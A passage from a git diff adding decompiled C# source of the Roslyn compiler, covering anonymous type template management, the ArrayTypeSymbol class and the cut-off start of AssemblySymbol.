canDigThroughNullable: false, useDefaultType: false, visitCustomModifiers: true); + } + ImmutableArray result; + if (((HashSet)(object)instance).Count == 0) + { + result = ImmutableArray.Empty; + } + else + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + instance2.AddRange((IEnumerable)instance); + instance2.Sort((Comparison)((TypeParameterSymbol x, TypeParameterSymbol y) => compareTypeParameters(x, y))); + result = instance2.ToImmutableAndFree(); + } + instance.Free(); + return result; + static int compareTypeParameters(TypeParameterSymbol x, TypeParameterSymbol y) + { + Symbol containingSymbol = x.ContainingSymbol; + Symbol containingSymbol2 = y.ContainingSymbol; + if (containingSymbol.Equals(containingSymbol2)) + { + return x.Ordinal - y.Ordinal; + } + if (isContainedIn(containingSymbol, containingSymbol2)) + { + return 1; + } + return -1; + } + static bool isContainedIn(Symbol symbol, Symbol container) + { + Symbol containingSymbol = symbol.ContainingSymbol; + while ((object)containingSymbol != null) + { + if (containingSymbol.Equals(container)) + { + return true; + } + containingSymbol = containingSymbol.ContainingSymbol; + } + return false; + } + } + + private NamedTypeSymbol ConstructAnonymousTypeImplementationSymbol(AnonymousTypePublicSymbol anonymous) + { + AnonymousTypeDescriptor typeDescriptor = anonymous.TypeDescriptor; + if (!AnonymousTypeTemplates.TryGetValue(typeDescriptor.Key, out var value)) + { + value = AnonymousTypeTemplates.GetOrAdd(typeDescriptor.Key, new AnonymousTypeTemplateSymbol(this, typeDescriptor)); + } + if (value.Manager == this) + { + value.AdjustLocation(typeDescriptor.Location); + } + if (value.Arity == 0) + { + return value; + } + ImmutableArray typeArguments = ImmutableArrayExtensions.SelectAsArray(typeDescriptor.Fields, (Func)((AnonymousTypeField f) => f.Type)); + return value.Construct(typeArguments); + } + + private AnonymousTypeTemplateSymbol CreatePlaceholderTemplate(AnonymousTypeKey key) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray fields = ImmutableArrayExtensions.SelectAsArray(key.Fields, (Func)((AnonymousTypeKeyField f) => new AnonymousTypeField(f.Name, Location.None, default(TypeWithAnnotations), (RefKind)0, (ScopedKind)0))); + AnonymousTypeDescriptor typeDescr = new AnonymousTypeDescriptor(fields, Location.None); + return new AnonymousTypeTemplateSymbol(this, typeDescr); + } + + private AnonymousDelegateTemplateSymbol CreatePlaceholderSynthesizedDelegateValue(string name, RefKindVector refKinds, bool returnsVoid, int parameterCount) + { + short num = default(short); + return new AnonymousDelegateTemplateSymbol(this, MetadataHelpers.InferTypeArityAndUnmangleMetadataName(name, ref num), System_Object, Compilation.GetSpecialType((SpecialType)21), returnsVoid ? Compilation.GetSpecialType((SpecialType)6) : null, parameterCount, refKinds); + } + + public void AssignTemplatesNamesAndCompile(MethodCompiler compiler, PEModuleBuilder moduleBeingBuilt, BindingDiagnosticBag diagnostics) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Invalid comparison between Unknown and I4 + //IL_01bb: Unknown result type (might be due to invalid IL or missing references) + //IL_01c0: Unknown result type (might be due to invalid IL or missing references) + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_023d: Unknown result type (might be due to invalid IL or missing references) + //IL_0242: Unknown result type (might be due to invalid IL or missing references) + //IL_02c8: Unknown result type (might be due to invalid IL or missing references) + //IL_02cd: Unknown result type (might be due to invalid IL or missing references) + //IL_0164: Unknown result type (might be due to invalid IL or missing references) + //IL_0169: Unknown result type (might be due to invalid IL or missing references) + //IL_02ee: Unknown result type (might be due to invalid IL or missing references) + //IL_02f3: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = moduleBeingBuilt.GetPreviousAnonymousTypes().GetEnumerator(); + while (enumerator.MoveNext()) + { + AnonymousTypeKey key = enumerator.Current; + string key2 = AnonymousTypeDescriptor.ComputeKey(key.Fields, (AnonymousTypeKeyField f) => f.Name); + AnonymousTypeTemplates.GetOrAdd(key2, (string k) => CreatePlaceholderTemplate(key)); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + GetCreatedAnonymousTypeTemplates(instance); + GetCreatedAnonymousDelegatesWithIndexedNames(instance2); + if (!((CommonAnonymousTypeManager)this).AreTemplatesSealed) + { + string text; + if ((int)((CommonPEModuleBuilder)moduleBeingBuilt).OutputKind == 3) + { + text = ((CommonPEModuleBuilder)moduleBeingBuilt).Name; + string defaultExtension = EnumBounds.GetDefaultExtension((OutputKind)3); + if (text.EndsWith(defaultExtension, StringComparison.OrdinalIgnoreCase)) + { + text = text.Substring(0, text.Length - defaultExtension.Length); + } + text = MetadataHelpers.MangleForTypeNameIfNeeded(text); + } + else + { + text = string.Empty; + } + int submissionSlotIndex = ((Compilation)Compilation).GetSubmissionSlotIndex(); + int nextAnonymousTypeIndex = moduleBeingBuilt.GetNextAnonymousTypeIndex(); + Enumerator enumerator2 = instance.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AnonymousTypeTemplateSymbol current = enumerator2.Current; + if (!moduleBeingBuilt.TryGetAnonymousTypeName(current, out var name, out var index)) + { + index = nextAnonymousTypeIndex++; + name = GeneratedNames.MakeAnonymousTypeOrDelegateTemplateName(index, submissionSlotIndex, text, isDelegate: false); + } + current.NameAndIndex = new NameAndIndex(name, index); + } + int num = 0; + Enumerator enumerator3 = instance2.GetEnumerator(); + while (enumerator3.MoveNext()) + { + AnonymousDelegateTemplateSymbol current2 = enumerator3.Current; + int index2 = num++; + string name2 = GeneratedNames.MakeAnonymousTypeOrDelegateTemplateName(index2, submissionSlotIndex, text, isDelegate: true); + current2.NameAndIndex = new NameAndIndex(name2, index2); + } + ((CommonAnonymousTypeManager)this).SealTemplates(); + } + if (instance.Count > 0 && !ReportMissingOrErroneousSymbols(diagnostics)) + { + Enumerator enumerator2 = instance.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AnonymousTypeTemplateSymbol current3 = enumerator2.Current; + ImmutableArray.Enumerator enumerator4 = current3.SpecialMembers.GetEnumerator(); + while (enumerator4.MoveNext()) + { + MethodSymbol current4 = enumerator4.Current; + ((PEModuleBuilder)moduleBeingBuilt).AddSynthesizedDefinition((NamedTypeSymbol)current3, (IMethodDefinition)(object)current4.GetCciAdapter()); + } + compiler.Visit(current3); + } + } + instance.Free(); + ImmutableArray.Enumerator enumerator5 = moduleBeingBuilt.GetPreviousAnonymousDelegates().GetEnumerator(); + while (enumerator5.MoveNext()) + { + SynthesizedDelegateKey key3 = enumerator5.Current; + if (GeneratedNames.TryParseSynthesizedDelegateName(key3.Name, out var byRefs, out var returnsVoid, out var generation, out var parameterCount)) + { + SynthesizedDelegateKey synthesizedDelegateKey = new SynthesizedDelegateKey(parameterCount, byRefs, returnsVoid, generation); + ConcurrentDictionaryExtensions.GetOrAdd(AnonymousDelegates, synthesizedDelegateKey, (Func)((SynthesizedDelegateKey k, (RefKindVector refKinds, bool returnsVoid, int parameterCount) args) => CreatePlaceholderSynthesizedDelegateValue(key3.Name, args.refKinds, args.returnsVoid, args.parameterCount)), (byRefs, returnsVoid, parameterCount)); + } + } + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + GetCreatedAnonymousDelegates(instance3); + if (instance2.Count > 0 || instance3.Count > 0) + { + ReportMissingOrErroneousSymbolsForDelegates(diagnostics); + Enumerator enumerator3 = instance2.GetEnumerator(); + while (enumerator3.MoveNext()) + { + AnonymousDelegateTemplateSymbol current5 = enumerator3.Current; + compiler.Visit(current5); + } + enumerator3 = instance3.GetEnumerator(); + while (enumerator3.MoveNext()) + { + AnonymousDelegateTemplateSymbol current6 = enumerator3.Current; + compiler.Visit(current6); + } + } + instance3.Free(); + instance2.Free(); + } + + private void GetCreatedAnonymousTypeTemplates(ArrayBuilder builder) + { + ConcurrentDictionary lazyAnonymousTypeTemplates = _lazyAnonymousTypeTemplates; + if (lazyAnonymousTypeTemplates == null) + { + return; + } + foreach (AnonymousTypeTemplateSymbol value in lazyAnonymousTypeTemplates.Values) + { + if (value.Manager == this) + { + builder.Add(value); + } + } + builder.Sort((IComparer)new AnonymousTypeOrDelegateComparer(Compilation)); + } + + private void GetCreatedAnonymousDelegatesWithIndexedNames(ArrayBuilder builder) + { + ConcurrentDictionary lazyAnonymousDelegates = _lazyAnonymousDelegates; + if (lazyAnonymousDelegates == null) + { + return; + } + foreach (AnonymousDelegateTemplateSymbol value in lazyAnonymousDelegates.Values) + { + if (value.Manager == this && value.HasIndexedName) + { + builder.Add(value); + } + } + builder.Sort((IComparer)new AnonymousTypeOrDelegateComparer(Compilation)); + } + + internal IEnumerable GetCreatedAnonymousDelegateTypesWithIndexedNames() + { + ArrayBuilder templates = ArrayBuilder.GetInstance(); + GetCreatedAnonymousDelegatesWithIndexedNames(templates); + Enumerator enumerator = templates.GetEnumerator(); + while (enumerator.MoveNext()) + { + AnonymousDelegateTemplateSymbol current = enumerator.Current; + yield return (INamedTypeDefinition)(object)current.GetCciAdapter(); + } + templates.Free(); + } + + private void GetCreatedAnonymousDelegates(ArrayBuilder builder) + { + ConcurrentDictionary lazyAnonymousDelegates = _lazyAnonymousDelegates; + if (lazyAnonymousDelegates == null) + { + return; + } + foreach (AnonymousDelegateTemplateSymbol value in lazyAnonymousDelegates.Values) + { + if (value.Manager == this && !value.HasIndexedName) + { + builder.Add(value); + } + } + builder.Sort((IComparer)SynthesizedDelegateSymbolComparer.Instance); + } + + internal ImmutableSegmentedDictionary GetAnonymousDelegates() + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetCreatedAnonymousDelegates(instance); + ImmutableSegmentedDictionary result = ImmutableSegmentedDictionary.ToImmutableSegmentedDictionary((IEnumerable)instance, (Func)((AnonymousDelegateTemplateSymbol delegateSymbol) => new SynthesizedDelegateKey(delegateSymbol.MetadataName)), (Func)((AnonymousDelegateTemplateSymbol delegateSymbol) => new SynthesizedDelegateValue((ITypeDefinition)(object)delegateSymbol.GetCciAdapter()))); + instance.Free(); + return result; + } + + internal ImmutableSegmentedDictionary GetAnonymousTypeMap() + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetCreatedAnonymousTypeTemplates(instance); + ImmutableSegmentedDictionary result = ImmutableSegmentedDictionary.ToImmutableSegmentedDictionary((IEnumerable)instance, (Func)((AnonymousTypeTemplateSymbol template) => template.GetAnonymousTypeKey()), (Func)((AnonymousTypeTemplateSymbol template) => new AnonymousTypeValue(template.NameAndIndex.Name, template.NameAndIndex.Index, (ITypeDefinition)(object)template.GetCciAdapter()))); + instance.Free(); + return result; + } + + internal ImmutableSegmentedDictionary GetAnonymousDelegatesWithIndexedNames() + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetCreatedAnonymousDelegatesWithIndexedNames(instance); + ImmutableSegmentedDictionary result = ImmutableSegmentedDictionary.ToImmutableSegmentedDictionary((IEnumerable)instance, (Func)((AnonymousDelegateTemplateSymbol template) => template.NameAndIndex.Name), (Func)((AnonymousDelegateTemplateSymbol template) => new AnonymousTypeValue(template.NameAndIndex.Name, template.NameAndIndex.Index, (ITypeDefinition)(object)template.GetCciAdapter()))); + instance.Free(); + return result; + } + + internal ImmutableArray GetAllCreatedTemplates() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + GetCreatedAnonymousTypeTemplates(instance2); + instance.AddRange(instance2); + instance2.Free(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + GetCreatedAnonymousDelegatesWithIndexedNames(instance3); + instance.AddRange(instance3); + instance3.Free(); + ArrayBuilder instance4 = ArrayBuilder.GetInstance(); + GetCreatedAnonymousDelegates(instance4); + instance.AddRange(instance4); + instance4.Free(); + return instance.ToImmutableAndFree(); + } + + internal static bool IsAnonymousTypeTemplate(NamedTypeSymbol type) + { + return type is AnonymousTypeTemplateSymbol; + } + + internal static ImmutableArray GetAnonymousTypeHiddenMethods(NamedTypeSymbol type) + { + return ((AnonymousTypeTemplateSymbol)type).SpecialMembers; + } + + internal static NamedTypeSymbol TranslateAnonymousTypeSymbol(NamedTypeSymbol type) + { + return ((AnonymousTypeOrDelegatePublicSymbol)type).MapToImplementationSymbol(); + } + + internal static MethodSymbol TranslateAnonymousTypeMethodSymbol(MethodSymbol method) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Invalid comparison between Unknown and I4 + NamedTypeSymbol namedTypeSymbol = TranslateAnonymousTypeSymbol(method.ContainingType); + ImmutableArray.Enumerator enumerator = namedTypeSymbol.OriginalDefinition.GetMembers(method.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 9) + { + return ((MethodSymbol)current).AsMember(namedTypeSymbol); + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AnonymousTypes/AnonymousTypeManager.Templates.cs", 795); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ArrayTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ArrayTypeSymbol.cs new file mode 100644 index 0000000..e87e228 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ArrayTypeSymbol.cs @@ -0,0 +1,492 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class ArrayTypeSymbol : TypeSymbol, IArrayTypeReference, ITypeReference, IReference +{ + private sealed class SZArray : ArrayTypeSymbol + { + private readonly ImmutableArray _interfaces; + + public override int Rank => 1; + + public override bool IsSZArray => true; + + internal override bool HasDefaultSizesAndLowerBounds => true; + + internal SZArray(TypeWithAnnotations elementTypeWithAnnotations, NamedTypeSymbol array, ImmutableArray constructedInterfaces) + : base(elementTypeWithAnnotations, array) + { + _interfaces = constructedInterfaces; + } + + protected override ArrayTypeSymbol WithElementTypeCore(TypeWithAnnotations newElementType) + { + ImmutableArray constructedInterfaces = ImmutableArrayExtensions.SelectAsArray(_interfaces, (Func)((NamedTypeSymbol i, TypeSymbol t) => i.OriginalDefinition.Construct(t)), newElementType.Type); + return new SZArray(newElementType, BaseTypeNoUseSiteDiagnostics, constructedInterfaces); + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList? basesBeingResolved = null) + { + return _interfaces; + } + } + + private abstract class MDArray : ArrayTypeSymbol + { + private readonly int _rank; + + public sealed override int Rank => _rank; + + public sealed override bool IsSZArray => false; + + internal MDArray(TypeWithAnnotations elementTypeWithAnnotations, int rank, NamedTypeSymbol array) + : base(elementTypeWithAnnotations, array) + { + _rank = rank; + } + + internal sealed override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList? basesBeingResolved = null) + { + return ImmutableArray.Empty; + } + } + + private sealed class MDArrayNoSizesOrBounds : MDArray + { + internal override bool HasDefaultSizesAndLowerBounds => true; + + internal MDArrayNoSizesOrBounds(TypeWithAnnotations elementTypeWithAnnotations, int rank, NamedTypeSymbol array) + : base(elementTypeWithAnnotations, rank, array) + { + } + + protected override ArrayTypeSymbol WithElementTypeCore(TypeWithAnnotations elementTypeWithAnnotations) + { + return new MDArrayNoSizesOrBounds(elementTypeWithAnnotations, Rank, BaseTypeNoUseSiteDiagnostics); + } + } + + private sealed class MDArrayWithSizesAndBounds : MDArray + { + private readonly ImmutableArray _sizes; + + private readonly ImmutableArray _lowerBounds; + + public override ImmutableArray Sizes => _sizes; + + public override ImmutableArray LowerBounds => _lowerBounds; + + internal override bool HasDefaultSizesAndLowerBounds => false; + + internal MDArrayWithSizesAndBounds(TypeWithAnnotations elementTypeWithAnnotations, int rank, ImmutableArray sizes, ImmutableArray lowerBounds, NamedTypeSymbol array) + : base(elementTypeWithAnnotations, rank, array) + { + _sizes = ImmutableArrayExtensions.NullToEmpty(sizes); + _lowerBounds = lowerBounds; + } + + protected override ArrayTypeSymbol WithElementTypeCore(TypeWithAnnotations elementTypeWithAnnotations) + { + return new MDArrayWithSizesAndBounds(elementTypeWithAnnotations, Rank, _sizes, _lowerBounds, BaseTypeNoUseSiteDiagnostics); + } + } + + private readonly TypeWithAnnotations _elementTypeWithAnnotations; + + private readonly NamedTypeSymbol _baseType; + + bool IArrayTypeReference.IsSZArray => AdaptedArrayTypeSymbol.IsSZArray; + + ImmutableArray IArrayTypeReference.LowerBounds => AdaptedArrayTypeSymbol.LowerBounds; + + int IArrayTypeReference.Rank => AdaptedArrayTypeSymbol.Rank; + + ImmutableArray IArrayTypeReference.Sizes => AdaptedArrayTypeSymbol.Sizes; + + bool ITypeReference.IsEnum => false; + + bool ITypeReference.IsValueType => false; + + TypeDefinitionHandle ITypeReference.TypeDef => default(TypeDefinitionHandle); + + PrimitiveTypeCode ITypeReference.TypeCode => (PrimitiveTypeCode)18; + + IGenericMethodParameterReference? ITypeReference.AsGenericMethodParameterReference => null; + + IGenericTypeInstanceReference? ITypeReference.AsGenericTypeInstanceReference => null; + + IGenericTypeParameterReference? ITypeReference.AsGenericTypeParameterReference => null; + + INamespaceTypeReference? ITypeReference.AsNamespaceTypeReference => null; + + INestedTypeReference? ITypeReference.AsNestedTypeReference => null; + + ISpecializedNestedTypeReference? ITypeReference.AsSpecializedNestedTypeReference => null; + + internal ArrayTypeSymbol AdaptedArrayTypeSymbol => this; + + public abstract int Rank { get; } + + public abstract bool IsSZArray { get; } + + public virtual ImmutableArray Sizes => ImmutableArray.Empty; + + public virtual ImmutableArray LowerBounds => default(ImmutableArray); + + internal abstract bool HasDefaultSizesAndLowerBounds { get; } + + public TypeWithAnnotations ElementTypeWithAnnotations => _elementTypeWithAnnotations; + + public TypeSymbol ElementType => _elementTypeWithAnnotations.Type; + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics => _baseType; + + public override bool IsReferenceType => true; + + public override bool IsValueType => false; + + public sealed override bool IsRefLikeType => false; + + public sealed override bool IsReadOnly => false; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => null; + + public override SymbolKind Kind => (SymbolKind)1; + + public override TypeKind TypeKind => (TypeKind)1; + + public override Symbol? ContainingSymbol => null; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility => (Accessibility)0; + + public override bool IsStatic => false; + + public override bool IsAbstract => false; + + public override bool IsSealed => false; + + internal override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + ITypeReference IArrayTypeReference.GetElementType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Expected O, but got Unknown + PEModuleBuilder obj = (PEModuleBuilder)(object)context.Module; + TypeWithAnnotations elementTypeWithAnnotations = AdaptedArrayTypeSymbol.ElementTypeWithAnnotations; + ITypeReference val = ((PEModuleBuilder)obj).Translate(elementTypeWithAnnotations.Type, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + if (elementTypeWithAnnotations.CustomModifiers.Length == 0) + { + return val; + } + return (ITypeReference)new ModifiedTypeReference(val, ImmutableArray.CastUp(elementTypeWithAnnotations.CustomModifiers)); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IArrayTypeReference)(object)this); + } + + ITypeDefinition? ITypeReference.GetResolvedType(EmitContext context) + { + return null; + } + + INamespaceTypeDefinition? ITypeReference.AsNamespaceTypeDefinition(EmitContext context) + { + return null; + } + + INestedTypeDefinition? ITypeReference.AsNestedTypeDefinition(EmitContext context) + { + return null; + } + + ITypeDefinition? ITypeReference.AsTypeDefinition(EmitContext context) + { + return null; + } + + IDefinition? IReference.AsDefinition(EmitContext context) + { + return null; + } + + internal new ArrayTypeSymbol GetCciAdapter() + { + return this; + } + + private ArrayTypeSymbol(TypeWithAnnotations elementTypeWithAnnotations, NamedTypeSymbol array) + { + _elementTypeWithAnnotations = elementTypeWithAnnotations; + _baseType = array; + } + + internal static ArrayTypeSymbol CreateCSharpArray(AssemblySymbol declaringAssembly, TypeWithAnnotations elementTypeWithAnnotations, int rank = 1) + { + if (rank == 1) + { + return CreateSZArray(declaringAssembly, elementTypeWithAnnotations); + } + return CreateMDArray(declaringAssembly, elementTypeWithAnnotations, rank, default(ImmutableArray), default(ImmutableArray)); + } + + internal static ArrayTypeSymbol CreateMDArray(TypeWithAnnotations elementTypeWithAnnotations, int rank, ImmutableArray sizes, ImmutableArray lowerBounds, NamedTypeSymbol array) + { + if (sizes.IsDefaultOrEmpty && lowerBounds.IsDefault) + { + return new MDArrayNoSizesOrBounds(elementTypeWithAnnotations, rank, array); + } + return new MDArrayWithSizesAndBounds(elementTypeWithAnnotations, rank, sizes, lowerBounds, array); + } + + internal static ArrayTypeSymbol CreateMDArray(AssemblySymbol declaringAssembly, TypeWithAnnotations elementType, int rank, ImmutableArray sizes, ImmutableArray lowerBounds) + { + return CreateMDArray(elementType, rank, sizes, lowerBounds, declaringAssembly.GetSpecialType((SpecialType)23)); + } + + internal static ArrayTypeSymbol CreateSZArray(TypeWithAnnotations elementTypeWithAnnotations, NamedTypeSymbol array) + { + return new SZArray(elementTypeWithAnnotations, array, GetSZArrayInterfaces(elementTypeWithAnnotations, array.ContainingAssembly)); + } + + internal static ArrayTypeSymbol CreateSZArray(TypeWithAnnotations elementTypeWithAnnotations, NamedTypeSymbol array, ImmutableArray constructedInterfaces) + { + return new SZArray(elementTypeWithAnnotations, array, constructedInterfaces); + } + + internal static ArrayTypeSymbol CreateSZArray(AssemblySymbol declaringAssembly, TypeWithAnnotations elementType) + { + return CreateSZArray(elementType, declaringAssembly.GetSpecialType((SpecialType)23), GetSZArrayInterfaces(elementType, declaringAssembly)); + } + + internal ArrayTypeSymbol WithElementType(TypeWithAnnotations elementTypeWithAnnotations) + { + if (!ElementTypeWithAnnotations.IsSameAs(elementTypeWithAnnotations)) + { + return WithElementTypeCore(elementTypeWithAnnotations); + } + return this; + } + + protected abstract ArrayTypeSymbol WithElementTypeCore(TypeWithAnnotations elementTypeWithAnnotations); + + private static ImmutableArray GetSZArrayInterfaces(TypeWithAnnotations elementTypeWithAnnotations, AssemblySymbol declaringAssembly) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + NamedTypeSymbol specialType = declaringAssembly.GetSpecialType((SpecialType)26); + if (!specialType.IsErrorType()) + { + instance.Add((NamedTypeSymbol)new ConstructedNamedTypeSymbol(specialType, ImmutableArray.Create(elementTypeWithAnnotations))); + } + NamedTypeSymbol specialType2 = declaringAssembly.GetSpecialType((SpecialType)30); + if (!specialType2.IsErrorType()) + { + instance.Add((NamedTypeSymbol)new ConstructedNamedTypeSymbol(specialType2, ImmutableArray.Create(elementTypeWithAnnotations))); + } + return instance.ToImmutableAndFree(); + } + + internal bool HasSameShapeAs(ArrayTypeSymbol other) + { + if (Rank == other.Rank) + { + return IsSZArray == other.IsSZArray; + } + return false; + } + + internal bool HasSameSizesAndLowerBoundsAs(ArrayTypeSymbol other) + { + if (Sizes.SequenceEqual(other.Sizes)) + { + ImmutableArray lowerBounds = LowerBounds; + if (lowerBounds.IsDefault) + { + return other.LowerBounds.IsDefault; + } + ImmutableArray lowerBounds2 = other.LowerBounds; + if (!lowerBounds2.IsDefault) + { + return lowerBounds.SequenceEqual(lowerBounds2); + } + return false; + } + return false; + } + + internal sealed override ManagedKind GetManagedKind(ref CompoundUseSiteInfo useSiteInfo) + { + return (ManagedKind)3; + } + + public override ImmutableArray GetMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetMembers(string name) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArray.Empty; + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitArrayType(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitArrayType(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitArrayType(this); + } + + internal override bool Equals(TypeSymbol? t2, TypeCompareKind comparison) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Equals(t2 as ArrayTypeSymbol, comparison); + } + + private bool Equals(ArrayTypeSymbol? other, TypeCompareKind comparison) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == other) + { + return true; + } + if ((object)other == null || !other.HasSameShapeAs(this) || !other.ElementTypeWithAnnotations.Equals(ElementTypeWithAnnotations, comparison)) + { + return false; + } + if ((comparison & 1) == 0 && !HasSameSizesAndLowerBoundsAs(other)) + { + return false; + } + return true; + } + + public override int GetHashCode() + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + int num = 0; + TypeSymbol typeSymbol = this; + while ((int)typeSymbol.TypeKind == 1) + { + ArrayTypeSymbol obj = (ArrayTypeSymbol)typeSymbol; + num = Hash.Combine(obj.Rank, num); + typeSymbol = obj.ElementType; + } + return Hash.Combine(typeSymbol, num); + } + + internal override void AddNullableTransforms(ArrayBuilder transforms) + { + ElementTypeWithAnnotations.AddNullableTransforms(transforms); + } + + internal override bool ApplyNullableTransforms(byte defaultTransformFlag, ImmutableArray transforms, ref int position, out TypeSymbol result) + { + if (!ElementTypeWithAnnotations.ApplyNullableTransforms(defaultTransformFlag, transforms, ref position, out var result2)) + { + result = this; + return false; + } + result = WithElementType(result2); + return true; + } + + internal override TypeSymbol SetNullabilityForReferenceTypes(Func transform) + { + return WithElementType(transform(ElementTypeWithAnnotations)); + } + + internal override TypeSymbol MergeEquivalentTypes(TypeSymbol other, VarianceKind variance) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + TypeWithAnnotations elementTypeWithAnnotations = ElementTypeWithAnnotations.MergeEquivalentTypes(((ArrayTypeSymbol)other).ElementTypeWithAnnotations, variance); + return WithElementType(elementTypeWithAnnotations); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + UseSiteInfo result = default(UseSiteInfo); + DeriveUseSiteInfoFromType(ref result, ElementTypeWithAnnotations, AllowedRequiredModifierType.None); + return result; + } + + internal override bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, Symbol owner, ref HashSet checkedTypes) + { + if (!_elementTypeWithAnnotations.GetUnificationUseSiteDiagnosticRecursive(ref result, owner, ref checkedTypes) && ((object)_baseType == null || !_baseType.GetUnificationUseSiteDiagnosticRecursive(ref result, owner, ref checkedTypes))) + { + return Symbol.GetUnificationUseSiteDiagnosticRecursive(ref result, InterfacesNoUseSiteDiagnostics(), owner, ref checkedTypes); + } + return true; + } + + protected sealed override ISymbol CreateISymbol() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.ArrayTypeSymbol(this, base.DefaultNullableAnnotation); + } + + protected sealed override ITypeSymbol CreateITypeSymbol(NullableAnnotation nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.ArrayTypeSymbol(this, nullableAnnotation); + } + + internal sealed override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + internal sealed override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AssemblySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AssemblySymbol.cs new file mode 100644 index 0000000..6fb00f9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AssemblySymbol.cs @@ -0,0 +1,588 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Reflection; +using System.Reflection.PortableExecutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class AssemblySymbol : Symbol, IAssemblySymbolInternal, ISymbolInternal +{ + private 